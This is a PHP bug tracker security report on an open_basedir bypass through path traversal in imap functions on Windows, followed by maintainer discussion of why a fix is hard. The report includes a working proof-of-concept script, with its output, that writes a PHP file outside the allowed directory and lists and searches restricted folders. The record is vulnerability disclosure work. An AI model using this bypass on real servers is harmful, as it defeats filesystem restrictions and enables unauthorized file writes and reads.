php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #76176 open_basedir bypass via multiple imap functions
Submitted: 2018-04-02 07:18 UTC Modified: 2019-06-23 21:06 UTC
From: fernando at null-life dot com Assigned:
Status: Suspended Package: IMAP related
PHP Version: 7.2.4 OS: Windows
Private report: No CVE-ID: None
Have you experienced this issue?
Rate the importance of this bug to you:

 [2018-04-02 07:18 UTC] fernando at null-life dot com
Description:
------------
Several functions inside the imap extension are vulnerable to path traversal on Windows. This allows to bypass the open_basedir restriction, using some of these functions, we can write files, list directories, and search files with specific content on any directory. See the test script. I was unable to reproduce this behavior on Linux.

This was tested on Windows 10 using php-7.2.4-nts-Win32-VC15-x86.zip. To reproduct, run the test script from a folder (i.e. C:\tools) and specify the open_basedir restriction, make sure to enable the imap extension.

php -n -dopen_basedir=C:\tools -dextension=ext\php_imap.dll poc.php

Test script:
---------------
<?php

print "Make sure C:\\jump exists and place some files there.".PHP_EOL;
print "- Warning about open_basedir restriction ...".PHP_EOL;
scandir("C:\\jump");

$handle = imap_open("INBOX", '', '');

$fname = bin2hex(random_bytes(4)).".php";

print "- Creating $fname inside C:\\jump".PHP_EOL.PHP_EOL;

imap_createmailbox($handle, imap_utf7_encode("\\..\\..\\..\\jump\\$fname"));
imap_append($handle, "\\..\\..\\..\\jump\\$fname", "<?php phpinfo();?>");

print "- Listing all files inside C:\\jump".PHP_EOL.PHP_EOL;

$arr = imap_getmailboxes ($handle, "\\..\\..\\..\\jump\\", "*");
print "Found ".count($arr)." file(s)".PHP_EOL;
foreach($arr as $a) {
    echo "    ". $a->name.PHP_EOL;
}


print PHP_EOL."- Searching files that contain phpinfo inside C:\\jump".PHP_EOL.PHP_EOL;
$arr = imap_listscan ($handle, "\\..\\..\\..\\jump", "*", "phpinfo");
print "Found ".count($arr)." file(s) with the string phpinfo".PHP_EOL;
foreach($arr as $a) {
    echo "    ".$a.PHP_EOL;
}

Actual result:
--------------
fmunozs@VX C:\tools
> C:\tools\php724\php.exe -n -dmax_execution_time=10 -dopen_basedir=C:\tools -dextension=ext\php_imap.dll poc.php

Make sure C:\jump exists and place some files there.
- Warning about open_basedir restriction ...

Warning: scandir(): open_basedir restriction in effect. File(C:\jump) is not within the allowed path(s): (C:\tools) in C:\tools\poc.php on line 5

Warning: scandir(C:\jump): failed to open dir: Operation not permitted in C:\tools\poc.php on line 5

Warning: scandir(): (errno 1): Operation not permitted in C:\tools\poc.php on line 5
- Creating 64016918.php inside C:\jump

- Listing all files inside C:\jump

Found 5 file(s)
    \..\..\..\JUMP\
    \..\..\..\JUMP\64016918.php
    \..\..\..\JUMP\folder
    \..\..\..\JUMP\folder\file1.txt
    \..\..\..\JUMP\folder\file2.txt

- Searching files that contain phpinfo inside C:\jump

Found 1 file(s) with the string phpinfo
    \..\..\..\jump\64016918.php

fmunozs@VX C:\tools
> cat \..\..\..\jump\64016918.php
From fmunozs@vx Mon Apr  2 01:58:25 2018 -0500
<?php phpinfo();?>
Status: O
X-Status:
X-Keywords:
X-UID: 1

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-04-10 15:16 UTC] cmb@php.net
-Status: Open +Status: Verified
 [2018-04-10 15:16 UTC] cmb@php.net
Thanks for reporting this issue!  I can reproduce it.

Heeding open_basedir might not be reasonably possible in general,
since imap_open('INBOX') refers to a folder, which is not
necessarily known to PHP (on Windows it appears to always be
%USERPROFILE%, but on UNIX it may not be ~).  Furthermore, there
appear several special "paths" which are not filepaths at all
(refer to docs/drivers.txt[1])   Therefore, the existing check[1]
is moot.

If we can't fix it, the issue has to be at least clearly
documented (see also <https://bugs.php.net/74121>).  And perhaps
introducing an ini setting which could be used to disallow any
access to the local filesystem directly would be appropriate.

[1] <https://github.com/winlibs/imap/blob/7cce79fdcde62c8d95881c56c1058778e3543efe/docs/drivers.txt>
[1] <https://github.com/php/php-src/blob/PHP-7.2.4/ext/imap/php_imap.c#L1293>
 [2018-04-21 03:58 UTC] fernando at null-life dot com
This  issue doesn't seem to affect Linux, I didn't do a lot of testing, but seems like the mailbox name is not doing the path traversal even if you supply a value like "../../../../". Any idea what's going on exactly here? Preventing the traversal would help, but still PHP is probably able to read from a path that is not allowed on the open_basedir restriction. 

I was thinking about some options today. 

- If open_basedir is enabled, then disable the drivers that are file related and only allow networking ones, otherwise, leave them enabled. May be a little to strict.

- Add a new option to disable file based drivers on the imap ext. The documentation must clearly state that if you actually want to have open_basedir restriction working, this should also be disabled. Maybe even emit a warning from imap_open if that's not the case? not sure what's the official position regarding emitting messages but being this a new setting it will probably be overlooked.
 [2018-09-17 04:06 UTC] fernando at null-life dot com
Any update regarding this issue?
 [2018-11-26 01:19 UTC] fernando at null-life dot com
Hello

With the new findings related to imap from 
https://antichat.com/threads/463395/#post-4254681
https://www.exploit-db.com/exploits/45865/

Is there any plan to solve this issue ?

Thanks!
 [2018-11-26 19:14 UTC] stas@php.net
I don't think we can do much here. Parsing mailbox string is entirely inside imap library, and PHP wrapper has no control over it. If you system requirements require that PHP script author should not be allowed to access functionality provided by imap - I'd suggest disabling imap extension then or using PHP imap implementation that would comply with these checks.
 [2018-11-26 19:27 UTC] stas@php.net
> And perhaps introducing an ini setting which could be used to disallow any access to the local filesystem directly would be appropriate.

I am not sure why we need to single out the local filesystem - access to remote ports can be as security sensitive (port scans, worm propagation, firewall circumvention, etc.) as local filesystem access. I am not sure declaring we can control what an opaque library does is realistic. We may let the user (or configs) control the list of the drivers, but I am not sure we can guarantee what the drivers do - given how many options these drivers have, can we really guarantee no "network" driver or auth driver ever reads any files from local filesystem?
 [2019-06-05 05:22 UTC] fernando at null-life dot com
Can we make this issue public if there are no plans to fix it? This was reported over a year ago.
 [2019-06-23 21:06 UTC] stas@php.net
-Status: Verified +Status: Suspended
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Apr 25 09:01:29 2024 UTC